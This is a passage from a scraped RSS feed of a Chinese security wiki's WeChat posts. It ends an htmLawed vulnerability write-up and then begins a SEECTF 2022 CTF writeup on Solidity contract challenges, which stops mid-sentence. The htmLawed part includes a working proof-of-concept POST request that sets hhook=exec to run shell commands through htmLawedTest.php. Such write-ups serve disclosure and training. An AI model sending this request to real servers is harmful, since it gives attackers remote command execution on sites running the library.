Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">https:<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//www.bioinformatics.org/phplabware/internal_utilities/htmLawed/</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">在 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">htmLawedTest.php</code> 中接收参数并传入方法 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">htmLawed </code>中</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="359" data-backw="457" data-ratio="0.786" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=66af5238&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4icJaRrvZgjyvkmJ3jjQou6g4iahTCtSjpaibUmaBGRGbACKicXjeTqCguoKQcSXwrfLnAKaMiagJ5ibibg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">跟进文件 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">htmLawed.php</code><img class="rich_pages wxw-img" data-backh="331" data-backw="440" data-ratio="0.7526666666666667" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=66a3e140&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4icJaRrvZgjyvkmJ3jjQou61DKmq5tI0j4ZqNXWVq9373m90Ize71FiarvFkKlCORZDUSibJVicre8Zg%2F640%3Fwx_fmt%3Dpng"/></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yeiaylBpy3ZFOGJwic1gtH6XbplKfCU7BDhpdydAewU72lYtXFPb7crLqArFs9IpaIQM09M4BEveSmF/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a626a4;line-height: 26px;">if</span>($C[<span style="color: #50a14f;line-height: 26px;">&#39;hook&#39;</span>]){$t = $C[<span style="color: #50a14f;line-height: 26px;">&#39;hook&#39;</span>]($t, $C, $S);}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">这里可以看到参数均为用户可控参数，当控制参数 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">hhook</code> 为 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">exec</code> 和 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">text</code> 为执行的命令时就导致了命令执行漏洞</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="242" data-backw="457" data-ratio="0.53" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=04dbba00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4icJaRrvZgjyvkmJ3jjQou6R2feMfJaI1nF8oR6zq0ImjskgsjA2BibMKYAg3T5PPWbTngVUXnTfdQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">验证POC</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yeiaylBpy3ZFOGJwic1gtH6XbplKfCU7BDhpdydAewU72lYtXFPb7crLqArFs9IpaIQM09M4BEveSmF/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">/vendor/htmlawed/htmlawed/htmLawedTest.php<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="199" data-backw="457" data-ratio="0.43466666666666665" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=2167bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4icJaRrvZgjyvkmJ3jjQou65CgO43AiavMH4efOA9kRJWrGncjVaMNOC53IhSql0nGSGkYFXlIZicDg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="218" data-backw="457" data-ratio="0.47733333333333333" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=77748a9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4icJaRrvZgjyvkmJ3jjQou6kmvgqj7FENgXzS0Micxd6TZ4GSfB68IWvBzyL17LYbIHC7LF85cWFkw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">访问页面获取到 sid 与 token 后再发送请求包</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yeiaylBpy3ZFOGJwic1gtH6XbplKfCU7BDhpdydAewU72lYtXFPb7crLqArFs9IpaIQM09M4BEveSmF/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/<span style="color: #986801;line-height: 26px;">1.1</span><br/>Host: <br/>Accept: *<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">/*<br/>Accept-Encoding: gzip, deflate<br/>Content-Length: 88<br/>Content-Type: application/x-www-form-urlencoded<br/>token=a79cf121bde57fe0e3cc0f247f77961a&amp;text=id&amp;hhook=exec&amp;sid=h1c0vk004dvulal5nj8i6en44e<br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="224" data-backw="457" data-ratio="0.49066666666666664" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=13fd8b94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4icJaRrvZgjyvkmJ3jjQou6ibeL59q00bEDgoLM2wIyweVgpgUKt9mPAQWoDINnbJaGHq1gn9d9xAg%2F640%3Fwx_fmt%3Dpng"/></figure></section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-id="MzIyMjkzMzY4Ng==" data-pluginname="mpprofile" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-id="Mzg3NDU2MTg0Ng==" data-pluginname="mpprofile" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=8a077860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTcMBicTAqaLJky9ScIO4Rq2AI7GbNL471D07npjsanAH2s4iaZGM5L1tQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">在线文库: <a href="http://wiki.peiqi.tech" target="_blank">http://wiki.peiqi.tech</a><br/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5443322109988776" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3564" src="https://wechat2rss.xlab.app/img-proxy/?k=98b9734f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTz2mGLTWwwLW7B9Mib5XibKCWricFR6KaodRqLHwia5uPJgyxoQt4zT6e0g%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">文库动态</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="230" data-backw="474" data-ratio="0.48339898705683737" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3554" src="https://wechat2rss.xlab.app/img-proxy/?k=e93d8858&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTppcfY8pl1iccWCwZMKTicrWWNJXmq80LO41GSqTkLr2OUca9RycNiaEdA%2F640%3Fwx_fmt%3Dpng"/></figure></section><p><br/></p>



<p><a href="http://wiki.peiqi.tech">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f8620419&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493588%26idx%3D1%26sn%3D99c7a429bb57cb121f8c871814cea3d5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 05 Oct 2022 13:23:00 +0800</pubDate>
    </item>
    <item>
      <title>SEECTF 2022 - Writeup</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493540&amp;idx=1&amp;sn=b8afbe1761fb333c9340ea545d6747ea</link>
      <description>SEECTF 2022 - Writeup</description>
      <content:encoded><![CDATA[<p>
<span>PeiQi文库</span> <span>2022-06-07 13:27</span> <span style="display: inline-block;">湖北</span>
</p>

<p>SEECTF 2022 - Writeup</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ef70df45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F4LicHRMXdTzAfDEX1IBaUQiaibEiasYqDvJ04N562GDg4MgwWoy6jVMh1qBgspbQUd8tibgdmU32WP0fw5wGEjBBcTw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="237" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=24e30e91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mksbMcKV6ruJCicnkmfFZ362UcNeLvm2Gnam7IeyNFvUqnjWO9YXrSOtA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;text-align: left;margin: 20px 10px 0px 0px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;font-size: 22px;color: #0e88eb;font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid #0e88eb;">SMART CONTRACTS</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Bonjour</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="156" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b0ebc5bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkJJskEEMcg1MaI6xVhAor5KGdEBjXVqbgibTgwYQeRMdxE032XxQHbSg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">部署合约后设置 isSolved 为 true</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="234" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ba5867b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkV935AXpkAfRLbYPUqSgX6ROXXnykwPwqQibYwuWRDrH5L4de45qFZtA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">You Only Have One Chance</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">合约源码</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// SPDX-License-Identifier: MIT</span><br/>pragma solidity ^<span style="color: #986801;line-height: 26px;">0.8</span><span style="color: #986801;line-height: 26px;">.0</span>;<br/>contract YouOnlyHaveOneChance {<br/>  uint256 <span style="color: #a626a4;line-height: 26px;">public</span> balanceAmount;<br/>  address <span style="color: #a626a4;line-height: 26px;">public</span> owner;<br/>  uint256 randNonce = <span style="color: #986801;line-height: 26px;">0</span>;<br/>  <br/>  constructor() {<br/>    owner = msg.sender;<br/>    <br/>    balanceAmount =<br/>      uint256(<br/>      keccak256(<br/>        abi.encodePacked(block.timestamp, msg.sender, randNonce)<br/>      )<br/>    ) %<br/>      <span style="color: #986801;line-height: 26px;">1337</span>;<br/>  }<br/>  <br/>  <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">isBig</span><span style="line-height: 26px;">(address _account)</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(bool)</span> </span>{<br/>    uint256 size;<br/>    assembly {<br/>      size := extcodesize(_account)<br/>      }<br/>    <span style="color: #a626a4;line-height: 26px;">return</span> size &gt; <span style="color: #986801;line-height: 26px;">0</span>;<br/>  }<br/>  <br/>  <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">increaseBalance</span><span style="line-height: 26px;">(uint256 _amount)</span> <span style="color: #4078f2;line-height: 26px;">public</span> </span>{<br/>    <span style="color: #a626a4;line-height: 26px;">require</span>(tx.origin != msg.sender);<br/>    <span style="color: #a626a4;line-height: 26px;">require</span>(!isBig(msg.sender), <span style="color: #50a14f;line-height: 26px;">&#34;No Big Objects Allowed.&#34;</span>);<br/>    balanceAmount += _amount;<br/>  }<br/>  <br/>  <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">isSolved</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(bool)</span> </span>{<br/>    <span style="color: #a626a4;line-height: 26px;">return</span> balanceAmount == <span style="color: #986801;line-height: 26px;">1337</span>;<br/>  }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">需要绕过两个逻辑</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a626a4;line-height: 26px;">require</span>(tx.origin != msg.sender);<br/><span style="color: #a626a4;line-height: 26px;">require</span>(!isBig(msg.sender), <span style="color: #50a14f;line-height: 26px;">&#34;No Big Objects Allowed.&#34;</span>);<br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="217" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5b136636&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mk2yczQAgXSLEEh6DSicBbTesrlknReMJlBYTdE88eKb6RLz1wiaxPWVow%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">部署一个新合约来调用函数就可以做到绕过第一个逻辑，第二个逻辑要使代码区为空，来通过 extcodesize 的检验，但是又必须使用合约调用才能通过第一个逻辑</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">Note that <span style="color: #a626a4;line-height: 26px;">while</span> the initialisation code is executing, the newly created address exists but with no intrinsic body code.<br/>……<br/>During initialization code execution, EXTCODESIZE on the address should <span style="color: #a626a4;line-height: 26px;">return</span> zero, which is the length of the code of the account <span style="color: #a626a4;line-height: 26px;">while</span> CODESIZE should <span style="color: 